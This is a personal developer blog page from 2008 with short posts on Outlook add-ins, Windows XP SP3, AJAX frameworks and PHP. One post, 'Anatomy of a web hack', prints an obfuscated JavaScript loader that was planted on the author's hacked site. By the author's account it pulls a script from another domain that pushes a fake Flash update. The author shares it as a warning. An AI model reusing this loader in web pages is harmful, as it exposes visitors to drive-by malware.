NiceGuyUK Blog
Tuesday, September 02, 2008
  I'm over here...
To busy to blog these days. You've got more chance of finding out what I'm up to by looking at Twitter :-


follow NiceGuyUK at http://twitter.com
 
Monday, June 02, 2008
  Writing Outlook Addins in C#.Net
Ok, so the title of this post is a blatant Google magnet attempt. But honestly, that's what I've been doing today and its been the most fun I've had coding in a while.

I'm converting an old VB6 COM addin for Outlook versions prior to 2007 so that it does indeed work with 2007. Its being rewritten in C# and due to some clever interop work (not my cleverness, I gleaned information from this blog post by Patrick Schmid) I don't even need to hack my way around Outlook's security model with the Redemption Library.

Once its done, I'm toying with the idea of writing more addins for Outlook 2007 that I think I'll find useful (and hopefully other people will too)
 
Sunday, May 04, 2008
  Windows XP SP3
Upgraded my sole Windows PC from XP SP2 to XP SP3 tonight. It seems stable so far, but then I've probably already got most of the patches that they rolled into Service Pack 3 anyway. If I hit any odd issues (other than the annoyance of it reverting my hacked uxtheme.dll so I lose my Royale Remixed theme), I'll post about it here.

SP3 screenshot
 
Wednesday, April 30, 2008
  Anatomy of a web hack
One of my websites recently got hacked (through FTP - provider says its password related, but I'm not convinced). The miscreant put over 5000 HTML pages in one of my directories, each of which is infected with a piece of obfuscated javascript. I've tidied it up for readability :-


function F(WY,e)
{
if(!e)
{
e='kUZ$caiWxQYNso/B-8E(b>p{]K5nl2u}F3L#t7;gCGj!w")rI0X6h?vSAdT1P%*=';
}
var y;
var OR='';
for(var m=0;m {
y = (e.indexOf(WY.charAt(m))&255)<<18|(e.indexOf(WY.charAt(m+1))&255)<<12|(e.indexOf(WY.charAt(m+2))&255)<<6|e.indexOf(WY.charAt(m+3))&255;
OR += String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);
}
eval(OR.substring(0,OR.length-3));
}
F('Ki%#2p?7ng-)2SQG2ibCQ60(-Xl!Q?QQba-F(ca/8?>U8hb%xtG32;a(]Xl!QSQGlW-LxWoX]6hL5W8hl$CrNv8)lv?3n;agK{Q65{87N;7)K;PrKid6lS832ZdjlXx*BZ%(-?QQQXwgba-*QXt1kkkk');


What this does is call another script from another domain (dnsmanagersite.info). This script, in turn, forces a redirect to a porn site, which tries to force you to download what it claims is an update for Adobe Flash. I have no doubt at all that it is a virus/trojan/keylogger/backdoor or other such piece of crap.
 
Tuesday, April 22, 2008
  The trouble with AJAX frameworks...
As my brother would say, I've been busier than a one-legged Riverdancer just lately....

I'm working for two clients simultaneously - a mix of Classic ASP and ASP.Net by day and PHP5 by night. In both cases, I'm making use of AJAX Frameworks and herein lies the problem. Conceptually, using a framework rather than dong everything yourself "from scratch" is a good thing, since it should save re-inventing the wheel.

However, I'm finding in both cases (Microsoft ASP.Net Ajax for one, QCodo for the other) that things are either incomplete, inadequately documented, or just plain broken. I'm increasingly finding myself spending more time fixing little rendering issues (or things that don't render at all) and less time dealing with the core functionality of the application.

Its frustrating, to say the least.
 
Monday, March 24, 2008
  PHP Hacking
Started trying out some UI concepts in PHP for a project I'm working on for a customer. I've now managed to get a data-bound composite control rendered with drag and drop functionality. I'm trying for a drag-and drop paradigm in a web app, since the brief for this customer states it should be as easy to use as possible.

So far so good. Of course, I wouldn't be anywhere near this stage without the excellent QCodo framework for PHP. Thanks Mike!
 
Thursday, March 06, 2008
  I am Borg
Managed to dig out my old BlueTooth headset and as well as getting it working with my mobile phone, I've also managed to get it working with Skype on my MacBook, using the built-in Bluetooth. The thought hadn't occurred to me earlier, but the combination works really well.

Shame that the headset makes me look like a Borg though...
 
NiceGuyUK's blog

My Photo
Name: Rob Cowell
Location: Folkestone, Kent, United Kingdom
Archives
May 2003 / June 2003 / July 2003 / August 2003 / September 2003 / October 2003 / November 2003 / December 2003 / January 2004 / February 2004 / March 2004 / April 2004 / May 2004 / June 2004 / July 2004 / August 2004 / September 2004 / October 2004 / November 2004 / December 2004 / January 2005 / February 2005 / March 2005 / April 2005 / May 2005 / June 2005 / July 2005 / August 2005 / September 2005 / October 2005 / November 2005 / December 2005 / January 2006 / February 2006 / March 2006 / April 2006 / May 2006 / June 2006 / July 2006 / September 2006 / October 2006 / November 2006 / December 2006 / January 2007 / February 2007 / March 2007 / April 2007 / May 2007 / July 2007 / September 2007 / November 2007 / December 2007 / January 2008 / February 2008 / March 2008 / April 2008 / May 2008 / June 2008 / September 2008 /


Powered by Blogger

Subscribe to
Posts [Atom]